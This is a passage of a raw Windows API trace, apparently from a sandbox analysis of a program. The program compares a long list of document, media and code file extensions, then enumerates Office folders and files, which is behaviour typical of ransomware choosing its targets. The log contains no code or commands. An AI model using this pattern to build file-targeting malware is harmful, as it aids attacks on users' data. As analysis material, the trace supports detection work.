[0261.197] lstrlenW (lpString=".emf") returned 4 [0261.197] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".emz") returned 4 [0261.197] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".epf") returned 4 [0261.197] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0261.197] lstrlenW (lpString=".eps") returned 4 [0261.198] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".epsf") returned 5 [0261.198] lstrcmpiW (lpString1=".epsf", lpString2="y.xml") returned -1 [0261.198] lstrlenW (lpString=".epsp") returned 5 [0261.198] lstrcmpiW (lpString1=".epsp", lpString2="y.xml") returned -1 [0261.198] lstrlenW (lpString=".erf") returned 4 [0261.198] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".exr") returned 4 [0261.198] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".f4v") returned 4 [0261.198] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".fido") returned 5 [0261.198] lstrcmpiW (lpString1=".fido", lpString2="y.xml") returned -1 [0261.198] lstrlenW (lpString=".flm") returned 4 [0261.198] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".flv") returned 4 [0261.198] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".frm") returned 4 [0261.198] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".fxg") returned 4 [0261.198] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".geo") returned 4 [0261.198] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".gif") returned 4 [0261.198] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".grs") returned 4 [0261.198] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".gz") returned 3 [0261.198] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0261.198] lstrlenW (lpString=".h") returned 2 [0261.198] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0261.198] lstrlenW (lpString=".hdr") returned 4 [0261.198] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0261.198] lstrlenW (lpString=".hpp") returned 4 [0261.199] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".hta") returned 4 [0261.199] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".htc") returned 4 [0261.199] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".htm") returned 4 [0261.199] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".html") returned 5 [0261.199] lstrcmpiW (lpString1=".html", lpString2="y.xml") returned -1 [0261.199] lstrlenW (lpString=".icb") returned 4 [0261.199] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".ics") returned 4 [0261.199] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".iff") returned 4 [0261.199] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".inc") returned 4 [0261.199] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".indd") returned 5 [0261.199] lstrcmpiW (lpString1=".indd", lpString2="y.xml") returned -1 [0261.199] lstrlenW (lpString=".ini") returned 4 [0261.199] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".iqy") returned 4 [0261.199] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".j2c") returned 4 [0261.199] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".j2k") returned 4 [0261.199] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0261.199] lstrlenW (lpString=".java") returned 5 [0261.200] lstrcmpiW (lpString1=".java", lpString2="y.xml") returned -1 [0261.200] lstrlenW (lpString=".jp2") returned 4 [0261.200] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".jpc") returned 4 [0261.200] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".jpe") returned 4 [0261.200] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".jpeg") returned 5 [0261.200] lstrcmpiW (lpString1=".jpeg", lpString2="y.xml") returned -1 [0261.200] lstrlenW (lpString=".jpf") returned 4 [0261.200] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".jpg") returned 4 [0261.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".jpx") returned 4 [0261.200] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".js") returned 3 [0261.200] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0261.200] lstrlenW (lpString=".jsf") returned 4 [0261.200] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".json") returned 5 [0261.200] lstrcmpiW (lpString1=".json", lpString2="y.xml") returned -1 [0261.200] lstrlenW (lpString=".jsp") returned 4 [0261.200] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".kdc") returned 4 [0261.200] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".kmz") returned 4 [0261.200] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0261.200] lstrlenW (lpString=".kwm") returned 4 [0261.200] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".lasso") returned 6 [0261.201] lstrcmpiW (lpString1=".lasso", lpString2="cy.xml") returned -1 [0261.201] lstrlenW (lpString=".lbi") returned 4 [0261.201] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".lgf") returned 4 [0261.201] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".lgp") returned 4 [0261.201] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".log") returned 4 [0261.201] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".m1v") returned 4 [0261.201] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".m4a") returned 4 [0261.201] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".m4v") returned 4 [0261.201] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".max") returned 4 [0261.201] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".md") returned 3 [0261.201] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0261.201] lstrlenW (lpString=".mda") returned 4 [0261.201] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0261.201] lstrlenW (lpString=".mdb") returned 4 [0261.202] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mde") returned 4 [0261.202] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mdf") returned 4 [0261.202] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mdw") returned 4 [0261.202] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mef") returned 4 [0261.202] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mft") returned 4 [0261.202] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mfw") returned 4 [0261.202] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mht") returned 4 [0261.202] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mhtml") returned 6 [0261.202] lstrcmpiW (lpString1=".mhtml", lpString2="cy.xml") returned -1 [0261.202] lstrlenW (lpString=".mka") returned 4 [0261.202] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mkidx") returned 6 [0261.202] lstrcmpiW (lpString1=".mkidx", lpString2="cy.xml") returned -1 [0261.202] lstrlenW (lpString=".mkv") returned 4 [0261.202] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mos") returned 4 [0261.202] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mov") returned 4 [0261.202] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mp3") returned 4 [0261.202] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mp4") returned 4 [0261.202] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0261.202] lstrlenW (lpString=".mpeg") returned 5 [0261.202] lstrcmpiW (lpString1=".mpeg", lpString2="y.xml") returned -1 [0261.202] lstrlenW (lpString=".mpg") returned 4 [0261.203] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".mpv") returned 4 [0261.203] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".mrw") returned 4 [0261.203] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".msg") returned 4 [0261.203] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".mxl") returned 4 [0261.203] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".myd") returned 4 [0261.203] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".myi") returned 4 [0261.203] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".nef") returned 4 [0261.203] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".nrw") returned 4 [0261.203] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".obj") returned 4 [0261.203] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".odb") returned 4 [0261.203] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".odc") returned 4 [0261.203] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".odm") returned 4 [0261.203] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".odp") returned 4 [0261.203] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0261.203] lstrlenW (lpString=".ods") returned 4 [0261.203] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".oft") returned 4 [0261.204] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".one") returned 4 [0261.204] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".onepkg") returned 7 [0261.204] lstrcmpiW (lpString1=".onepkg", lpString2="ncy.xml") returned -1 [0261.204] lstrlenW (lpString=".onetoc2") returned 8 [0261.204] lstrcmpiW (lpString1=".onetoc2", lpString2="ency.xml") returned -1 [0261.204] lstrlenW (lpString=".opt") returned 4 [0261.204] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".oqy") returned 4 [0261.204] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".orf") returned 4 [0261.204] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".p12") returned 4 [0261.204] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".p7b") returned 4 [0261.204] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".p7c") returned 4 [0261.204] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pam") returned 4 [0261.204] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pbm") returned 4 [0261.204] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pct") returned 4 [0261.204] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pcx") returned 4 [0261.204] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pdd") returned 4 [0261.204] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pdf") returned 4 [0261.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0261.204] lstrlenW (lpString=".pdp") returned 4 [0261.204] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pef") returned 4 [0261.205] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pem") returned 4 [0261.205] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pff") returned 4 [0261.205] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pfm") returned 4 [0261.205] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pfx") returned 4 [0261.205] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pgm") returned 4 [0261.205] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".php") returned 4 [0261.205] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".php3") returned 5 [0261.205] lstrcmpiW (lpString1=".php3", lpString2="y.xml") returned -1 [0261.205] lstrlenW (lpString=".php4") returned 5 [0261.205] lstrcmpiW (lpString1=".php4", lpString2="y.xml") returned -1 [0261.205] lstrlenW (lpString=".php5") returned 5 [0261.205] lstrcmpiW (lpString1=".php5", lpString2="y.xml") returned -1 [0261.205] lstrlenW (lpString=".phtml") returned 6 [0261.205] lstrcmpiW (lpString1=".phtml", lpString2="cy.xml") returned -1 [0261.205] lstrlenW (lpString=".pict") returned 5 [0261.205] lstrcmpiW (lpString1=".pict", lpString2="y.xml") returned -1 [0261.205] lstrlenW (lpString=".pl") returned 3 [0261.205] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0261.205] lstrlenW (lpString=".pls") returned 4 [0261.205] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pm") returned 3 [0261.205] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0261.205] lstrlenW (lpString=".png") returned 4 [0261.205] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0261.205] lstrlenW (lpString=".pnm") returned 4 [0261.205] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".pot") returned 4 [0261.206] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".potm") returned 5 [0261.206] lstrcmpiW (lpString1=".potm", lpString2="y.xml") returned -1 [0261.206] lstrlenW (lpString=".potx") returned 5 [0261.206] lstrcmpiW (lpString1=".potx", lpString2="y.xml") returned -1 [0261.206] lstrlenW (lpString=".ppa") returned 4 [0261.206] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".ppam") returned 5 [0261.206] lstrcmpiW (lpString1=".ppam", lpString2="y.xml") returned -1 [0261.206] lstrlenW (lpString=".ppm") returned 4 [0261.206] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".pps") returned 4 [0261.206] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".ppsm") returned 5 [0261.206] lstrcmpiW (lpString1=".ppsm", lpString2="y.xml") returned -1 [0261.206] lstrlenW (lpString=".ppt") returned 4 [0261.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".pptm") returned 5 [0261.206] lstrcmpiW (lpString1=".pptm", lpString2="y.xml") returned -1 [0261.206] lstrlenW (lpString=".pptx") returned 5 [0261.206] lstrcmpiW (lpString1=".pptx", lpString2="y.xml") returned -1 [0261.206] lstrlenW (lpString=".prn") returned 4 [0261.206] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".ps") returned 3 [0261.206] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0261.206] lstrlenW (lpString=".psb") returned 4 [0261.206] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".psd") returned 4 [0261.206] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".pst") returned 4 [0261.206] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".ptx") returned 4 [0261.206] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0261.206] lstrlenW (lpString=".pub") returned 4 [0261.207] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0261.207] lstrlenW (lpString=".pwm") returned 4 [0261.207] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0261.207] lstrlenW (lpString=".pxr") returned 4 [0261.207] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0261.207] lstrlenW (lpString=".py") returned 3 [0261.207] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0261.207] lstrlenW (lpString=".qt") returned 3 [0261.207] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0261.207] lstrlenW (lpString=".r3d") returned 4 [0261.207] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0261.209] RtlpDeCommitFreeBlock () [0261.209] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0261.209] RtlpDeCommitFreeBlock () [0261.209] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0261.591] RtlpDeCommitFreeBlock () [0261.592] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0261.598] RtlpDeCommitFreeBlock () [0261.599] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0261.599] RtlpDeCommitFreeBlock () [0261.599] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0261.606] RtlpDeCommitFreeBlock () [0261.606] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0261.615] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0261.619] RtlpDeCommitFreeBlock () [0261.619] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0261.623] RtlpDeCommitFreeBlock () [0261.625] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0261.626] RtlpDeCommitFreeBlock () [0261.626] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0261.626] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0261.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0261.626] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0261.628] RtlpDeCommitFreeBlock () [0261.628] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0262.192] RtlpDeCommitFreeBlock () [0262.192] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0262.299] RtlpDeCommitFreeBlock () [0262.299] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0262.305] RtlpDeCommitFreeBlock () [0262.305] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0262.319] RtlpDeCommitFreeBlock () [0262.319] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, 